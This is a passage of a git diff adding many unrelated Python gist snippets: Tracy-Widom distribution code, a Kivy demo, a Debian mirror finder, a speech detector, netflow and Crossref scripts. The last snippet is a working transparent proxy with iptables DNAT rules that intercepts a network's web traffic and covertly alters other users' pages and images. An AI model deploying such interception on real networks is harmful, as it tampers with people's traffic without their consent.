x0f\x00q\x16\x0f\x00\xd6\x17\x0f\x001\x19\x0f\x00\x82\x1a\x0f\x00\xc9\x1b\x0f\x00\x07\x1d\x0f\x00;\x1e\x0f\x00g\x1f\x0f\x00\x8a \x0f\x00\xa4!\x0f\x00\xb6"\x0f\x00\xc0#\x0f\x00\xc2$\x0f\x00\xbd%\x0f\x00\xaf&\x0f\x00\x9b\'\x0f\x00\x7f(\x0f\x00])\x0f\x004*\x0f\x00\x04+\x0f\x00\xce+\x0f\x00\x91,\x0f\x00O-\x0f\x00\x06.\x0f\x00\xb8.\x0f\x00d/\x0f\x00\x0b0\x0f\x00\xad0\x0f\x00J1\x0f\x00\xe11\x0f\x00t2\x0f\x00\x023\x0f\x00\x8b3\x0f\x00\x104\x0f\x00\x914\x0f\x00\x0e5\x0f\x00\x865\x0f\x00\xfa5\x0f\x00k6\x0f\x00\xd86\x0f\x00A7\x0f\x00\xa77\x0f\x00\n8\x0f\x00i8\x0f\x00\xc58\x0f\x00\x1e9\x0f\x00t9\x0f\x00\xc69\x0f\x00\x17:\x0f\x00d:\x0f\x00\xaf:\x0f\x00\xf7:\x0f\x00<;\x0f\x00\x80;\x0f\x00\xc1;\x0f\x00\xff;\x0f\x00<<\x0f\x00v<\x0f\x00\xae<\x0f\x00\xe5<\x0f\x00\x19=\x0f\x00K=\x0f\x00|=\x0f\x00\xab=\x0f\x00\xd8=\x0f\x00\x04>\x0f\x00.>\x0f\x00W>\x0f\x00~>\x0f\x00\xa3>\x0f\x00\xc8>\x0f\x00\xea>\x0f\x00\x0c?\x0f\x00,?\x0f\x00L?\x0f\x00j?\x0f\x00\x87?\x0f\x00\xa2?\x0f\x00\xbd?\x0f\x00\xd7?\x0f\x00\xf0?\x0f\x00\x08@\x0f\x00\x1f@\x0f\x005@\x0f\x00J@\x0f\x00_@\x0f\x00r@\x0f\x00\x85@\x0f\x00\x97@\x0f\x00\xa9@\x0f\x00\xba@\x0f\x00\xca@\x0f\x00\xd9@\x0f\x00\xe8@\x0f\x00\xf6@\x0f\x00\x04A\x0f\x00\x11A\x0f\x00\x1eA\x0f\x00*A\x0f\x006A\x0f\x00AA\x0f\x00LA\x0f\x00VA\x0f\x00`A\x0f\x00jA\x0f\x00sA\x0f\x00|A\x0f\x00\x84A\x0f\x00\x8cA\x0f\x00\x94A\x0f\x00\x9bA\x0f\x00\xa2A\x0f\x00\xa9A\x0f\x00\xb0A\x0f\x00\xb6A\x0f\x00\xbcA\x0f\x00\xc2A\x0f\x00\xc7A\x0f\x00\xcdA\x0f\x00\xd2A\x0f\x00\xd7A\x0f\x00\xdbA\x0f\x00\xe0A\x0f\x00\xe4A\x0f\x00\xe8A\x0f\x00\xecA\x0f\x00\xf0A\x0f\x00\xf3A\x0f\x00'
+
+_tau0 = 0.872371414954127 #2.**(1./24.) * exp(zeta'(-1))
+
+_para_n = \
+[[_tau0**0.5/2.**0.25,     1./24., 2.**(-0.5)/3., 1./16.], \
+ [_tau0,                   1./12., 0,              1./8.], \
+ [_tau0**0.5/2.**(38./48.), 1./6., -(2.**0.5)/3., 1./16.]]
+
+_para_p = \
+[[0.25/(np.pi**0.5), 0, 2./3., 0.75], \
+ [1./(16.*np.pi),    0, 4./3., 1.5], \
+ [1./(512.*np.pi),  0, 8./3., 3.0]]
+
+def _f (x, N, a, b, c, u=0, v=0):
+    s = x**1.5
+    return N*np.exp(-s*(s*a+b))/x**c * (1.+(u+v/s)/s)
+
+def _dlnf_dx(x, N, a, b, c, u=0, v=0):
+    s = x**1.5
+    return -(3.*a*s*s + 1.5*b*s + c + 1.5*(s*u+v+v)/((s+u)*s+v))/x
+
+def _find_u_v (x, f, dlnf, N, a, b, c):
+    #log f = log N - a x^3 - b x^1.5 - c log x + log1p ( (u+v/s)/s )
+    s = x**1.5
+    xd2 = x*2.*(dlnf - _dlnf_dx(x, N, a, b, c))
+    vv = lambda uu : -s*((xd2+3.)*uu + xd2*s)/(xd2+6.)
+    fu = lambda uu : f/_f(x, N, a, b, c, uu, vv(uu)) - 1.
+    for k1, k2 in [(-1, 1), (-4, -3), (715, 725)]:
+        try:
+            u = brentq(fu, k1, k2, disp=False)
+        except ValueError:
+            continue
+        else:
+            break
+    else:
+        raise ValueError("Cannot find u with brentq")
+    v = vv(u)
+    return u, v
+
+def _finv(y, N, a, b, c, u=0, v=0):
+    # a * x**3 + b*x**1.5 + c * log x + log y - log N
+    ya = np.asanyarray(y)
+    xa = np.ones_like(ya)
+    flag = (ya>0)
+    logyn = np.log(ya[flag]/N)
+    xa[~flag] = np.inf
+    for i in range(3):
+        ca =  np.log(xa[flag])*c + logyn - np.log1p(u/xa[flag]**1.5 + v/xa[flag]**3)
+        xa[flag] = ((np.sqrt(b*b-4.*a*ca) -b)/(a*2.) if a else ca/(-b))**(2./3.)
+    return xa
+
+class TracyWidom:
+    """
+    Provide the Tracy-Widom distribution functions for beta = 1, 2, or 4.
+    We use the tables in http://www.cl.cam.ac.uk/~aib29/TWinSplus.pdf
+    and the asymptotics in http://arxiv.org/abs/1111.2761
+    """
+    def __init__(self, beta=2):
+        """ 
+        Construnct a TracyWidom class for a given beta.
+        
+        Parameters
+        ----------
+        beta : int, optional
+            The beta value of the Tracy-Widom distribution. 
+            Can only be 1, 2, or 4; otherwise a ValueError will raise.
+            Default value is 2.
+            
+        Returns
+        -------
+        A TracyWidom class instance with member functions cdf, pdf, and cdfinv.
+        """
+        b = int(beta)
+        if b == 1:
+            digits = _digits_1
+            xlim = (-389, 360)
+        elif b == 2:
+            digits = _digits_2
+            xlim = (-389, 250)
+        elif b == 4:
+            digits = _digits_4
+            xlim = (-399, 70)
+        else:
+            raise ValueError("beta needs to be 1, 2, or 4.")
+        
+        self.beta = b
+        ib = [1, 2, 4].index(b)
+        
+        x = np.arange(*xlim, dtype=np.int32).astype(float) * 1.e-2
+        y = np.fromstring(digits, dtype=np.int32).astype(float) * 1.e-6
+        self.__xlim = (x[1], x[-2])
+        self.__cdf    = interp1d(x, y, kind='cubic', bounds_error=False)
+        
+        dlnf = derivative(lambda xx: np.log(self.__cdf(-xx)), -x[1], \
+                dx=3.33e-3, order=7)
+        self.__para_n = _para_n[ib] \
+                + list(_find_u_v(-x[1], y[1], dlnf, *_para_n[ib]))
+        self.__asym_n = lambda xx: _f(-xx, *self.__para_n)
+        self.__asym_inv_n = lambda yy: -(_finv(yy, *self.__para_n))
+
+        dlnf = derivative(lambda xx: np.log(1.-self.__cdf(xx)), x[-2], \
+                dx=3.33e-3, order=7)
+        self.__para_p = _para_p[ib] + list(_find_u_v(x[-2], 1.-y[-2], dlnf, \
+                *_para_p[ib]))
+        self.__asym_p = lambda xx: 1.-_f(xx, *self.__para_p)
+        self.__asym_inv_p = lambda yy: _finv(1.-yy, *self.__para_p)
+        
+        x = np.linspace(-8, 4, 2401)
+        y = self.cdf(x)
+        self.__ylim = (y[0], y[-1])
+        self.__cdfinv = interp1d(self.cdf(x), x, bounds_error=False)
+        
+    def cdf(self, x):
+        """ 
+        Return the cumulative distribution function at x. 
+        cdf(x) = P(TW < x)
+        
+        Parameters
+        ----------
+        x : float or array-like
+            
+        Returns
+        -------
+        y : float or array-like
+            y = cdf(x)
+        """
+        xa = np.asanyarray(x)
+        scalar = (xa.ndim==0)
+        if scalar: xa = xa.flatten()
+        y = self.__cdf(xa)
+        flag = xa < self.__xlim[0]
+        y[flag] = self.__asym_n(xa[flag])
+        flag = xa > self.__xlim[1]
+        y[flag] = self.__asym_p(xa[flag])
+        return y[0] if scalar else y
+
+    def pdf(self, x):
+        """ 
+        Return the probability distribution function at x. 
+        pdf(x) = d P(TW < x) / dx.
+        
+        Parameters
+        ----------
+        x : float or array-like
+            
+        Returns
+        -------
+        y : float or array-like
+            y = pdf(x)
+        """
+        xa = np.asanyarray(x)
+        return derivative(self.cdf, xa, dx=0.08, order=5)
+            
+    def cdfinv(self, x):
+        """ 
+        Return the inverse cumulative distribution function at x.
+        cdfinv(x) = cdf^{-1}(x)
+        
+        Parameters
+        ----------
+        x : float or array-like
+            Only values in (0, 1) are valid.
+            
+        Returns
+        -------
+        y : float or array-like
+            y = cdfinv(x)
+        """
+        xa = np.asanyarray(x)
+        scalar = (xa.ndim==0)
+        if scalar: xa = xa.flatten()
+        y = self.__cdfinv(xa)
+        flag = xa < self.__ylim[0]
+        y[flag] = self.__asym_inv_n(xa[flag])
+        flag = xa > self.__ylim[1]
+        y[flag] = self.__asym_inv_p(xa[flag])
+        return y[0] if scalar else y
diff --git a/hard-gists/7282822/._snippet.py b/hard-gists/7282822/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7282822/._snippet.py differ
diff --git a/hard-gists/7282822/snippet.py b/hard-gists/7282822/snippet.py
new file mode 100644
index 00000000..d020bd9a
--- /dev/null
+++ b/hard-gists/7282822/snippet.py
@@ -0,0 +1,99 @@
+from kivy.app import App
+from kivy.garden.magnet import Magnet
+from kivy.uix.image import Image
+from kivy.properties import ObjectProperty
+from kivy.lang import Builder
+from kivy.clock import Clock
+
+from os import listdir
+
+IMAGEDIR = '/usr/share/icons/hicolor/32x32/apps/'
+
+IMAGES = filter(
+    lambda x: x.endswith('.png'),
+    listdir(IMAGEDIR))
+
+kv = '''
+FloatLayout:
+    BoxLayout:
+        GridLayout:
+            id: grid_layout
+            cols: int(self.width / 32)
+
+        FloatLayout:
+            id: float_layout
+'''
+
+
+class DraggableImage(Magnet):
+    img = ObjectProperty(None, allownone=True)
+    app = ObjectProperty(None)
+
+    def on_img(self, *args):
+        self.clear_widgets()
+
+        if self.img:
+            Clock.schedule_once(lambda *x: self.add_widget(self.img), 0)
+
+    def on_touch_down(self, touch, *args):
+        if self.collide_point(*touch.pos):
+            touch.grab(self)
+            self.remove_widget(self.img)
+            self.app.root.add_widget(self.img)
+            self.center = touch.pos
+            self.img.center = touch.pos
+            return True
+
+        return super(DraggableImage, self).on_touch_down(touch, *args)
+
+    def on_touch_move(self, touch, *args):
+        grid_layout = self.app.root.ids.grid_layout
+        float_layout = self.app.root.ids.float_layout
+
+        if touch.grab_current == self:
+            self.img.center = touch.pos
+            if grid_layout.collide_point(*touch.pos):
+                grid_layout.remove_widget(self)
+                float_layout.remove_widget(self)
+
+                for i, c in enumerate(grid_layout.children):
+                    if c.collide_point(*touch.pos):
+                        grid_layout.add_widget(self, i - 1)
+                        break
+                else:
+                    grid_layout.add_widget(self)
+            else:
+                if self.parent == grid_layout:
+                    grid_layout.remove_widget(self)
+                    float_layout.add_widget(self)
+
+                self.center = touch.pos
+
+        return super(DraggableImage, self).on_touch_move(touch, *args)
+
+    def on_touch_up(self, touch, *args):
+        if touch.grab_current == self:
+            self.app.root.remove_widget(self.img)
+            self.add_widget(self.img)
+            touch.ungrab(self)
+            return True
+
+        return super(DraggableImage, self).on_touch_up(touch, *args)
+
+
+class DnDMagnet(App):
+    def build(self):
+        self.root = Builder.load_string(kv)
+        for i in IMAGES:
+            image = Image(source=IMAGEDIR + i, size=(32, 32),
+                          size_hint=(None, None))
+            draggable = DraggableImage(img=image, app=self,
+                                       size_hint=(None, None),
+                                       size=(32, 32))
+            self.root.ids.grid_layout.add_widget(draggable)
+
+        return self.root
+
+
+if __name__ == '__main__':
+    DnDMagnet().run()
\ No newline at end of file
diff --git a/hard-gists/7285154/._snippet.py b/hard-gists/7285154/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7285154/._snippet.py differ
diff --git a/hard-gists/7285154/snippet.py b/hard-gists/7285154/snippet.py
new file mode 100644
index 00000000..0d0f6565
--- /dev/null
+++ b/hard-gists/7285154/snippet.py
@@ -0,0 +1,135 @@
+#!/usr/bin/env python3
+
+import urllib.request
+import re
+import ssl
+import sys
+
+# # find generic mirrors
+mirrors = urllib.request.urlopen('http://www.debian.org/mirror/list')
+https = []
+for line in mirrors.readlines():
+    m = re.match(b'.*<td valign="top"><a rel="nofollow" href="http(.*)">.*', line)
+    if m:
+        url = 'https' + m.group(1).decode()
+        print('trying: %s...' % url)
+        sys.stdout.flush()
+        try:
+            response=urllib.request.urlopen(url, timeout=1)
+            https.append(url)
+            print('success!')
+        except urllib.request.URLError as err:
+            print('fail!')
+        except ssl.SSLError as err:
+            print('bad SSL!')
+        except:
+            print('bad stuff!!!')
+
+# print('HTTPS apt repos:'
+#for url in https:
+#    print(url)
+
+
+# # find security mirrors
+mirrors = urllib.request.urlopen('http://www.debian.org/mirror/list-full')
+securitys = []
+for line in mirrors.readlines():
+    m = re.match(b'.*</tt><br>Security updates over HTTP: <tt><a rel="nofollow" href="http(.*)">.*/debian-security/</a>.*', line)
+    if m:
+        url = 'https' + m.group(1).decode()
+        print('trying: %s...' % url)
+        sys.stdout.flush()
+        try:
+            response=urllib.request.urlopen(url, timeout=1)
+            securitys.append(url)
+            print('success!')
+        except urllib.request.URLError as err:
+            print('fail!')
+        except ssl.SSLError as err:
+            print('bad SSL!')
+
+# print('HTTPS security repos:'
+# for url in securitys:
+#     print(url)
+
+
+# now find the backports mirrors
+try:
+        mirrors = urllib.request.urlopen('http://backports-master.debian.org/Mirrors/')
+except:
+        print('URL open failed!!!')
+backports = []
+for line in mirrors.readlines():
+#<td><a href="http://be.mirror.eurid.eu/debian-backports/">/debian-backports/</a>
+    m = re.match(b'.*<td><a href="http(.*)">.*/debian-backports/</a>.*', line)
+    if m:
+        url = 'https' + m.group(1).decode()
+        print('trying: %s...' % url)
+        sys.stdout.flush()
+        try:
+            response=urllib.request.urlopen(url, timeout=1)
+            backports.append(url)
+            print('success!')
+        except urllib.request.URLError as err:
+            print('fail!')
+        except ssl.SSLError as err:
+            print('bad SSL!')
+
+#print('HTTPS backports repos:'
+#for url in backports:
+#    print(url)
+
+
+# now find the CD image mirrors
+mirrors = urllib.request.urlopen('http://www.debian.org/CD/http-ftp/')
+cds = []
+for line in mirrors.readlines():
+# <a rel="nofollow" href="http://mirror.easyspeedy.com/debian-cd/">HTTP</a></li>
+    m = re.match(b'.*<a rel="nofollow" href="http(:.*)">HTTP</a></li>.*', line)
+    if m:
+        url = 'https' + m.group(1).decode()
+        print('trying: %s...' % url)
+        sys.stdout.flush()
+        try:
+            response=urllib.request.urlopen(url, timeout=1)
+            cds.append(url)
+            print('success!')
+        except urllib.request.URLError as err:
+            print('fail!')
+        except ssl.SSLError as err:
+            print('bad SSL!')
+        except:
+            print('bad stuff!')
+
+print('HTTPS CD image repos:')
+for url in cds:
+    print(url)
+
+
+# now write everything to a file
+dst_filename='/tmp/https-debian-archives.txt'
+f = open(dst_filename, 'w')
+print('Outputfile: "%s"' % dst_filename)
+
+f.write('HTTPS apt repos\n')
+f.write('---------------\n')
+for url in https:
+    f.write(url + '\n')
+
+f.write('\n\nHTTPS security repos\n')
+f.write('---------------\n')
+for url in securitys:
+    f.write(url + '\n')
+
+f.write('\n\nHTTPS backports repos\n')
+f.write('--------------------\n')
+for url in backports:
+    f.write(url + '\n')
+
+f.write('\n\nHTTPS CD image repos\n')
+f.write('--------------------\n')
+for url in cds:
+    f.write(url + '\n')
+
+
+f.close()
diff --git a/hard-gists/72b2f24b6d2ff6ffde1597f1ca2dea3f/._snippet.py b/hard-gists/72b2f24b6d2ff6ffde1597f1ca2dea3f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/72b2f24b6d2ff6ffde1597f1ca2dea3f/._snippet.py differ
diff --git a/hard-gists/72b2f24b6d2ff6ffde1597f1ca2dea3f/snippet.py b/hard-gists/72b2f24b6d2ff6ffde1597f1ca2dea3f/snippet.py
new file mode 100644
index 00000000..1c8e28dc
--- /dev/null
+++ b/hard-gists/72b2f24b6d2ff6ffde1597f1ca2dea3f/snippet.py
@@ -0,0 +1,38 @@
+import geopandas as gpd
+import numpy as np
+import requests
+import gdal
+import fiona
+import uuid  
+import re
+
+# informaed by: https://gis.stackexchange.com/questions/225586/reading-raw-data-into-geopandas/225627
+
+def shapefilereader(target):
+    """Function to convert zipped shapefiles from the web or on disk into geopandas dataframes
+    
+    Parameters
+    ----------
+    target : str
+        string representing path to file on disk or url to download the zipped shapefile.
+    
+    Returns
+    -------
+    Geopandas dataframe
+        Pandas dataframe with geospatial features and operations.
+    
+    """
+    
+    # Detect whether we are using a web-based shapefile or local disk
+    r = re.compile('^(http|https)://',re.I)
+    if r.search(target):
+        download = True
+        request = requests.get(target)
+        target = '/vsimem/{}.zip'.format(uuid.uuid4().hex) #gdal/ogr requires a .zip extension
+        gdal.FileFromMemBuffer(target,bytes(request.content))
+    else:
+        download = False
+    
+    
+    with fiona.Collection(target,vsi='zip') as f:
+        return gpd.GeoDataFrame.from_features(f,crs=f.crs)
\ No newline at end of file
diff --git a/hard-gists/72c7938230537b4f8a4c/._snippet.py b/hard-gists/72c7938230537b4f8a4c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/72c7938230537b4f8a4c/._snippet.py differ
diff --git a/hard-gists/72c7938230537b4f8a4c/snippet.py b/hard-gists/72c7938230537b4f8a4c/snippet.py
new file mode 100644
index 00000000..be346510
--- /dev/null
+++ b/hard-gists/72c7938230537b4f8a4c/snippet.py
@@ -0,0 +1,167 @@
+#!/usr/bin/env python
+
+from pocketsphinx.pocketsphinx import *
+from sphinxbase.sphinxbase import *
+
+import os
+import pyaudio
+import wave
+import audioop
+from collections import deque
+import time
+import math
+
+"""
+Written by Sophie Li, 2016
+http://blog.justsophie.com/python-speech-to-text-with-pocketsphinx/
+"""
+
+class SpeechDetector:
+    def __init__(self):
+        # Microphone stream config.
+        self.CHUNK = 1024  # CHUNKS of bytes to read each time from mic
+        self.FORMAT = pyaudio.paInt16
+        self.CHANNELS = 1
+        self.RATE = 16000
+
+        self.SILENCE_LIMIT = 1  # Silence limit in seconds. The max ammount of seconds where
+                           # only silence is recorded. When this time passes the
+                           # recording finishes and the file is decoded
+
+        self.PREV_AUDIO = 0.5  # Previous audio (in seconds) to prepend. When noise
+                          # is detected, how much of previously recorded audio is
+                          # prepended. This helps to prevent chopping the beginning
+                          # of the phrase.
+
+        self.THRESHOLD = 4500
+        self.num_phrases = -1
+
+        # These will need to be modified according to where the pocketsphinx folder is
+        MODELDIR = "../../tools/pocketsphinx/model"
+        DATADIR = "../../tools/pocketsphinx/test/data"
+
+        # Create a decoder with certain model
+        config = Decoder.default_config()
+        config.set_string('-hmm', os.path.join(MODELDIR, 'en-us/en-us'))
+        config.set_string('-lm', os.path.join(MODELDIR, 'en-us/en-us.lm.bin'))
+        config.set_string('-dict', os.path.join(MODELDIR, 'en-us/cmudict-en-us.dict'))
+
+        # Creaders decoder object for streaming data.
+        self.decoder = Decoder(config)
+
+    def setup_mic(self, num_samples=50):
+        """ Gets average audio intensity of your mic sound. You can use it to get
+            average intensities while you're talking and/or silent. The average
+            is the avg of the .2 of the largest intensities recorded.
+        """
+        print "Getting intensity values from mic."
+        p = pyaudio.PyAudio()
+        stream = p.open(format=self.FORMAT, 
+                        channels=self.CHANNELS,
+                        rate=self.RATE, 
+                        input=True, 
+                        frames_per_buffer=self.CHUNK)
+
+        values = [math.sqrt(abs(audioop.avg(stream.read(self.CHUNK), 4)))
+                  for x in range(num_samples)]
+        values = sorted(values, reverse=True)
+        r = sum(values[:int(num_samples * 0.2)]) / int(num_samples * 0.2)
+        print " Finished "
+        print " Average audio intensity is ", r
+        stream.close()
+        p.terminate()
+
+        if r < 3000:
+            self.THRESHOLD = 3500
+        else:
+            self.THRESHOLD = r + 100
+
+    def save_speech(self, data, p):
+        """
+        Saves mic data to temporary WAV file. Returns filename of saved
+        file
+        """
+        filename = 'output_'+str(int(time.time()))
+        # writes data to WAV file
+        data = ''.join(data)
+        wf = wave.open(filename + '.wav', 'wb')
+        wf.setnchannels(1)
+        wf.setsampwidth(p.get_sample_size(pyaudio.paInt16))
+        wf.setframerate(16000)  # TODO make this value a function parameter?
+        wf.writeframes(data)
+        wf.close()
+        return filename + '.wav'
+
+    def decode_phrase(self, wav_file):
+        self.decoder.start_utt()
+        stream = open(wav_file, "rb")
+        while True:
+          buf = stream.read(1024)
+          if buf:
+            self.decoder.process_raw(buf, False, False)
+          else:
+            break
+        self.decoder.end_utt()
+        words = []
+        [words.append(seg.word) for seg in self.decoder.seg()]
+        return words
+
+    def run(self):
+        """
+        Listens to Microphone, extracts phrases from it and calls pocketsphinx
+        to decode the sound
+        """
+        self.setup_mic()
+
+        #Open stream
+        p = pyaudio.PyAudio()
+        stream = p.open(format=self.FORMAT, 
+                        channels=self.CHANNELS, 
+                        rate=self.RATE, 
+                        input=True, 
+                        frames_per_buffer=self.CHUNK)
+        print "* Mic set up and listening. "
+
+        audio2send = []
+        cur_data = ''  # current chunk of audio data
+        rel = self.RATE/self.CHUNK
+        slid_win = deque(maxlen=self.SILENCE_LIMIT * rel)
+        #Prepend audio from 0.5 seconds before noise was detected
+        prev_audio = deque(maxlen=self.PREV_AUDIO * rel)
+        started = False
+
+        while True:
+            cur_data = stream.read(self.CHUNK)
+            slid_win.append(math.sqrt(abs(audioop.avg(cur_data, 4))))
+
+            if sum([x > self.THRESHOLD for x in slid_win]) > 0:
+                if started == False:
+                    print "Starting recording of phrase"
+                    started = True
+                audio2send.append(cur_data)
+
+            elif started:
+                print "Finished recording, decoding phrase"
+                filename = self.save_speech(list(prev_audio) + audio2send, p)
+                r = self.decode_phrase(filename)
+                print "DETECTED: ", r
+
+                # Removes temp audio file
+                os.remove(filename)
+                # Reset all
+                started = False
+                slid_win = deque(maxlen=self.SILENCE_LIMIT * rel)
+                prev_audio = deque(maxlen=0.5 * rel)
+                audio2send = []
+                print "Listening ..."
+
+            else:
+                prev_audio.append(cur_data)
+
+        print "* Done listening"
+        stream.close()
+        p.terminate()
+
+if __name__ == "__main__":
+    sd = SpeechDetector()
+    sd.run()
diff --git a/hard-gists/72e709ba8a3a7c6affa1/._snippet.py b/hard-gists/72e709ba8a3a7c6affa1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/72e709ba8a3a7c6affa1/._snippet.py differ
diff --git a/hard-gists/72e709ba8a3a7c6affa1/snippet.py b/hard-gists/72e709ba8a3a7c6affa1/snippet.py
new file mode 100644
index 00000000..b5db8fe1
--- /dev/null
+++ b/hard-gists/72e709ba8a3a7c6affa1/snippet.py
@@ -0,0 +1,53 @@
+#!/usr/bin/python
+from silk import *
+import json
+import random
+import datetime
+import time
+
+def strTimeProp(start, end, format, prop):
+    stime = time.mktime(time.strptime(start, format))
+    etime = time.mktime(time.strptime(end, format))
+    ptime = stime + prop * (etime - stime)
+    return time.strftime(format, time.localtime(ptime))
+
+
+def randomDate(start, end, prop):
+    return strTimeProp(start, end, '%Y-%m-%dT%H:%M:%S', prop)
+
+def parse_all():
+    ffile = 'flow.rwf'
+    flow = SilkFile(ffile,READ)
+    i = 5000;
+    for rec in flow:
+        randDate =randomDate("2014-01-05T16:46:59", "2014-06-05T16:46:59", random.random())
+        d = {}
+        d['icmpcode'] = rec.icmpcode
+        d['sip'] = str(rec.sip)
+        d['protocol'] = rec.protocol
+        d['output'] = rec.output
+        d['packets'] = rec.packets
+        d['bytes'] = rec.bytes
+        d['application'] = rec.application
+        d['sensor_id'] = rec.sensor_id
+        d['duration'] = random.randint(0,500)
+        d['stime'] = randDate
+        d['classtype_id'] = rec.classtype_id
+        d['nhip'] = str(rec.nhip)
+        d['input'] = rec.input
+        d['icmptype'] = rec.icmptype
+        d['dip'] = str(rec.dip)
+        d['sport'] = rec.sport
+        d['dport'] = rec.dport
+        print '{"index":{"_index":"netflow","_type":"line","_id":'+str(i)+'}}'
+        i +=1
+        print json.dumps(d)
+print "\n"
+
+   
+def main():
+    parse_all()
+
+if __name__ == "__main__":
+    main()
+
diff --git a/hard-gists/72e72417af260ac17bb0d878e9ea1f52/._snippet.py b/hard-gists/72e72417af260ac17bb0d878e9ea1f52/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/72e72417af260ac17bb0d878e9ea1f52/._snippet.py differ
diff --git a/hard-gists/72e72417af260ac17bb0d878e9ea1f52/snippet.py b/hard-gists/72e72417af260ac17bb0d878e9ea1f52/snippet.py
new file mode 100644
index 00000000..43fa28c1
--- /dev/null
+++ b/hard-gists/72e72417af260ac17bb0d878e9ea1f52/snippet.py
@@ -0,0 +1,24 @@
+import re
+from urllib.parse import quote
+
+import requests
+from tqdm import tqdm
+
+def main():
+    with open('crossref.json', 'w') as _out:
+        bar = tqdm()
+        cursor = '*'
+        while True:
+            response = requests.get('http://api.crossref.org/works?rows=1000&cursor=' + cursor)
+            match = re.search(r'\"next-cursor\"\:\"(.*?)\"', response.text)
+            _out.write(response.text + '\n')
+
+            if not match:
+                break
+
+            cursor = quote(match.group(1).replace('\\/', '/'))
+            bar.update()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/7301722/._snippet.py b/hard-gists/7301722/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7301722/._snippet.py differ
diff --git a/hard-gists/7301722/snippet.py b/hard-gists/7301722/snippet.py
new file mode 100644
index 00000000..b7814df1
--- /dev/null
+++ b/hard-gists/7301722/snippet.py
@@ -0,0 +1,133 @@
+"""
+Install twisted (pip install twisted) and PIL (pip install PIL), and run the script.
+
+On your gateway, run the following commands:
+iptables -t nat -A PREROUTING -i br0 -s ! 192.168.0.20 -p tcp --dport 80 -j DNAT --to 192.168.0.20:8080
+iptables -t nat -A POSTROUTING -o br0 -s 192.168.0.0/24 -d 192.168.0.20 -j SNAT --to 192.168.0.1
+iptables -A FORWARD -s 192.168.0.0/24 -d 192.168.0.20 -i br0 -o br0 -p tcp --dport 8080 -j ACCEPT
+
+Substitute 192.168.0.20 for the computer running the proxy.
+"""
+from twisted.internet import reactor
+from twisted.web import proxy, http
+from PIL import Image
+import StringIO
+import zlib
+
+img = Image.open("hoff.png")
+
+class LoggingProxyClient(proxy.ProxyClient):
+    def __init__(self, command, rest, version, headers, data, father):
+        del headers["accept-encoding"]
+        proxy.ProxyClient.__init__(self, command, rest, version, headers, data, father)
+        self.isImage = False
+        self.isHtml = False
+        self.buffer = ""
+
+    def handleStatus(self, version, code, message):
+        proxy.ProxyClient.handleStatus(self, version, code, message)
+
+    def handleHeader(self, key, value):
+        if key.lower() == "content-type" and value.startswith("image/"):
+            self.isImage = True
+            self.isHtml = False
+            self.imageType = value
+        elif key.lower() == "content-type" and value.startswith("text/html"):
+            self.isHtml = True
+            self.isImage = False
+
+        proxy.ProxyClient.handleHeader(self, key, value)
+
+    def handleResponsePart(self, buffer):
+        #proxy.ProxyClient.handleResponsePart(self, buffer)
+        self.buffer += buffer
+
+    def handleResponseEnd(self):
+        if not self._finished:
+            if self.isImage:
+                try:
+                    oldBuffer = StringIO.StringIO(self.buffer)
+                    oldImg = Image.open(oldBuffer)
+
+                    w, h = oldImg.size
+                    if w > 50 and h > 50 and w >= h:
+                        print "Inserting the hoff into image of size: ", str(oldImg.size)
+
+                        nh = h/2
+                        nw = nh * img.size[0] / img.size[1]
+
+                        mask = Image.new("RGBA", oldImg.size)
+                        maskData = mask.load()
+                        for x in xrange(0, w):
+                            for y in xrange(0, h):
+                                maskData[x, y] = (0xFF, 0xFF, 0xFF, 0xFF)
+
+                        newImg = oldImg.copy().convert("RGBA")
+                        pasteImg = img.copy().resize((nw, nh))
+                        newImg = Image.blend(newImg, mask, 0.5)
+                        newImg.paste(pasteImg, (w - nw, h - nh), pasteImg)
+
+                        newBuffer = StringIO.StringIO()
+                        if self.imageType == "image/png":
+                            newImg.save(newBuffer, "PNG")
+                        elif self.imageType in ("image/jpg", "image/jpeg"):
+                            newImg.save(newBuffer, "JPEG")
+
+                        self.buffer = newBuffer.getvalue()
+
+                        self.father.responseHeaders.setRawHeaders("Cache-Control", ["no-cache"])
+                except Exception as e:
+                    print repr(e)
+            elif self.isHtml:
+                print "Hoffifying HTML"
+                #try:
+                #    newBuffer = zlib.decompress(self.buffer)
+                #except:
+                #    newBuffer = self.buffer
+
+                newBuffer = self.buffer
+                self.buffer = newBuffer \
+                                  .replace("He ", " The Hoff ") \
+                                  .replace("She ", " The Hoff ") \
+                                  .replace("Jag", " The Hoff ") \
+                                  .replace("Han ", " The Hoff ") \
+                                  .replace("han ", " The Hoff ") \
+                                  .replace("Honom", " The Hoff ") \
+                                  .replace("honom", " The Hoff ") \
+                                  .replace("Hon ", " The Hoff ") \
+                                  .replace("hon ", " The Hoff ") \
+                                  .replace("Henne", " The Hoff ") \
+                                  .replace("henne", " The Hoff ")
+                #print self.buffer
+
+            self.father.responseHeaders.setRawHeaders("Content-Length", [str(len(self.buffer))])
+            self.father.write(self.buffer)
+            proxy.ProxyClient.handleResponseEnd(self)
+
+class LoggingProxyClientFactory(proxy.ProxyClientFactory):
+    protocol = LoggingProxyClient
+
+class LoggingProxyRequest(proxy.ProxyRequest):
+    protocols = { "http": LoggingProxyClientFactory }
+
+    def process(self):
+        # when the client isn't aware it's talking to a proxy, it won't send
+        # the full path to the web server. here we prepend http:// and the server
+        # host to the uri
+        if not self.uri.startswith("http://") and not self.uri.startswith("https://"):
+            self.uri = "http://" + self.getHeader("Host") + self.uri
+        print "Request from %s for %s" % (self.getClientIP(), self.uri)
+        try:
+            proxy.ProxyRequest.process(self)
+        except KeyError:
+            print "HTTPS is not supported at the moment!"
+
+class LoggingProxy(proxy.Proxy):
+    requestFactory = LoggingProxyRequest
+
+class LoggingProxyFactory(http.HTTPFactory):
+    def buildProtocol(self, addr):
+        return LoggingProxy()
+
+reactor.listenTCP(8080, LoggingProxyFactory())
+reactor.run()
diff --git a/hard-gists/7304099/._snippet.py b/hard-gists/7304099/._snippet.py
